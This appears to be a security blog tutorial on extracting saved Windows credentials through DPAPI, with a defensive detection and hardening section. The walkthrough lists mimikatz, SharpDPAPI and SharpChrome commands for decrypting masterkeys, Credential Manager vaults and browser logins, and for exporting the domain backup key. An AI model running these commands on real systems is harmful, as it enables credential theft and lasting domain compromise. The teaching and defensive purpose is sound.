Looting Windows Secrets: Attacking DPAPI and Credential Manager

Windows Privesc
2026.04.16
Time it takes to read this article 5 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Use these techniques exclusively on systems you own or have explicit written permission to assess. Unauthorized access to credentials or computer systems is illegal in virtually every jurisdiction.

Introduction / Overview

The Data Protection API (DPAPI) is the cryptographic plumbing behind nearly every "saved password" feature on Windows: Credential Manager, browser cookies and logins (Chrome, Edge), Wi-Fi keys, RDP credentials, Outlook, and scheduled-task passwords. From an attacker's perspective DPAPI is a goldmine, because once you can decrypt a user's protected blobs you frequently obtain plaintext credentials that pivot you to other hosts and services — often without ever touching LSASS.

In this article you'll learn how DPAPI derives its keys, how Credential Manager stores secrets in vaults, and how to extract and decrypt them with mimikatz and SharpDPAPI — both as a local user and as a domain attacker abusing the DPAPI domain backup key. We finish with a blue-team section weighted equally to the offense.

How it works / Background

DPAPI exposes two core Win32 calls: CryptProtectData and CryptUnprotectData. Applications hand DPAPI plaintext and receive an opaque blob; the blob is encrypted under a masterkey rather than a per-application key.

Key derivation chain:

  1. Each user has one or more masterkeys, stored under %APPDATA%\Microsoft\Protect\<SID>\<masterkey-GUID>.
  2. The masterkey is itself encrypted with a key derived (PBKDF2 / SHA1-HMAC, depending on OS version) from the user's password hash (SHA1 of the NTLM password) plus the user SID.
  3. The decrypted masterkey then decrypts individual DPAPI blobs.

This gives an attacker three routes to a masterkey:

  • Known password / NTLM hash → derive the masterkey key directly.
  • Local SYSTEM access → use the machine's stored secrets / inject into the user session.
  • Domain backup key → every domain-joined masterkey is also encrypted with the domain's RSA DPAPI backup key, held on the domain controller. A Domain Admin who exports this private key (lsadump::backupkeys) can decrypt any user's masterkey in the domain, forever.

Credential Manager stores entries in two locations: the legacy Credentials store (%APPDATA%\Microsoft\Credentials\, used by cmdkey / generic credentials / RDP) and the newer Vault (%APPDATA%\Microsoft\Vault\ and %LOCALAPPDATA%\Microsoft\Vault\, used by web credentials in IE/Edge). Both are DPAPI-protected.

Prerequisites / Lab setup

  • A Windows 10/11 or Server 2019+ VM, ideally domain-joined to a small AD lab.
  • A test user with a few saved credentials. Seed some quickly:
# Add a generic credential into the legacy store
cmdkey /generic:TERMSRV/fileserver01 /user:CORP\svc_backup /pass:Sup3rSecret!

# Save an RDP credential the same way
cmdkey /add:dc01.corp.local /user:CORP\administrator /pass:DomainAdmin123!

# List what's stored
cmdkey /list
  • Tooling: mimikatz and SharpDPAPI. Run with the least privilege that demonstrates the path — both local-user and SYSTEM perspectives are worth testing.

Attack walkthrough / PoC

1. Enumerate Credential Manager and vault contents

:: Generic and RDP credentials
cmdkey /list

:: Vault (web credentials) — interactive listing
vaultcmd /listcreds:"Web Credentials" /all
vaultcmd /list

vaultcmd shows metadata but not plaintext — DPAPI still protects the values. We need the masterkey.

2. Decrypt as the current user with mimikatz (no password needed)

If you have an interactive session as the victim user, mimikatz can ask the running LSASS for the masterkey via RPC, then decrypt the blob in one shot using the /rpc flag:

mimikatz # dpapi::cred /in:C:\Users\victim\AppData\Local\Microsoft\Credentials\DFBE70...
mimikatz # dpapi::masterkey /in:"C:\Users\victim\AppData\Roaming\Microsoft\Protect\S-1-5-21-.../GUID" /rpc
mimikatz # dpapi::cred /in:C:\Users\victim\AppData\Local\Microsoft\Credentials\DFBE70... /masterkey:<hex>

The first dpapi::cred reveals which masterkey GUID the blob needs (guidMasterKey). You then decrypt that masterkey and feed it back in.

3. Decrypt with a known password or NTLM hash

If you cracked or dumped the user's secret, derive the masterkey offline (works from a non-interactive context):

mimikatz # dpapi::masterkey /in:"...\Protect\S-1-5-21-...\GUID" /sid:S-1-5-21-... /password:Sup3rSecret!

:: or with the SHA1/NTLM hash
mimikatz # dpapi::masterkey /in:"...\GUID" /sid:S-1-5-21-... /hash:b4b9b...

mimikatz caches decrypted masterkeys in memory ({GUID}:SHA1} cache), so subsequent dpapi::cred calls auto-resolve.

4. SharpDPAPI — operator-friendly bulk looting

SharpDPAPI is the go-to for C2 environments. As the current user it triages everything automatically:

# Decrypt all reachable masterkeys for the current user
SharpDPAPI.exe masterkeys

# Decrypt Credential Manager blobs
SharpDPAPI.exe credentials

# Decrypt the Vault store
SharpDPAPI.exe vaults

# Triage everything (creds, vaults, RDP, etc.)
SharpDPAPI.exe triage

To target browsers (Chrome/Edge cookies and logins), use the sibling tool:

SharpChrome.exe logins /unprotect
SharpChrome.exe cookies /format:json

5. The domain attacker path: backup key

This is the highest-impact technique. Once, as a Domain Admin, export the domain DPAPI backup key:

mimikatz # lsadump::backupkeys /system:dc01.corp.local /export

This drops a .pvk file. From then on you can decrypt any domain user's masterkey — even offline, even after their password changes — by supplying the backup key:

# SharpDPAPI: decrypt a user's masterkeys using the domain backup key
SharpDPAPI.exe masterkeys /pvk:key.pvk

# Then triage their hoarded blobs
SharpDPAPI.exe triage /pvk:key.pvk

mimikatz # dpapi::masterkey /in:"...\GUID" /pvk:domain_backup.pvk

Because the backup key is a long-lived domain secret, this is effectively a persistence mechanism — comparable in blast radius to a Golden Ticket. See also Golden Ticket attacks and Pass-the-Hash for adjacent lateral-movement primitives.

Mermaid diagram

Looting Windows Secrets: Attacking DPAPI and Credential Manager diagram 1

Text summary: an attacker obtains a DPAPI masterkey via password/hash, an interactive session, or the domain backup key, then uses it to decrypt Credential Manager and vault blobs into plaintext credentials.

Detection & Defense (Blue Team)

Protect the domain backup key. It is the single most valuable DPAPI secret. Treat any lsadump::backupkeys execution as a Tier-0 compromise. Use a tiered administration model so Domain Admin credentials never land on workstations.

Monitoring and detection:

  • Mimikatz/SharpDPAPI artifacts: Sysmon Event ID 1 (process create) for unusual binaries, Event ID 10 (process access) where a non-LSASS process opens lsass.exe, and Event ID 7 (image load) for tools loading cryptdll/vaultcli. SharpDPAPI is a .NET assembly — hunt for clr.dll/clrjit.dll loaded into unexpected processes and enable AMSI.
  • File access auditing: Enable an SACL on %APPDATA%\Microsoft\Protect\ and \Credentials\ to fire Event ID 4663 when a process other than the owning user reads masterkeys. Bulk reads across multiple user profiles are a strong indicator.
  • Backup-key access: The DC LSASS LsaRetrievePrivateData of G$BCKUPKEY_* secrets is the on-wire signature of backupkeys. Monitor Directory Service / LSASS access on DCs and alert on MS-BKRP RPC (BackuprKey) calls from non-standard hosts.

Hardening:

  • Enable Credential Guard to keep secrets out of reach of LSASS injection (note: it does not protect on-disk DPAPI blobs themselves).
  • Block credential dumpers with ASR rule "Block credential stealing from the Windows local security authority subsystem (lsass.exe)" (9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2).
  • Restrict and log cmdkey, vaultcmd, and PowerShell LIVE use; deploy EDR with behavioral DPAPI detections.
  • Rotate the domain DPAPI backup key only via documented, supported procedures — and rotate it after any suspected DA compromise.

This maps to MITRE ATT&CK T1555.003 (Credentials from Web Browsers), T1555.004 (Windows Credential Manager), and T1003 (OS Credential Dumping).

Conclusion

DPAPI is convenient by design and dangerous by consequence. Any attacker who reaches a user's masterkey — by password, by interactive session, or by exporting the domain backup key — unlocks a hoard of saved credentials that often outvalue a single LSASS dump. The domain backup-key path in particular is durable, stealthy, and devastating. Defenders should treat that key as Tier-0, audit access to Protect/Credentials/Vault directories, and assume that any saved credential on a compromised host is already burned.

References

Comments

Copied title and URL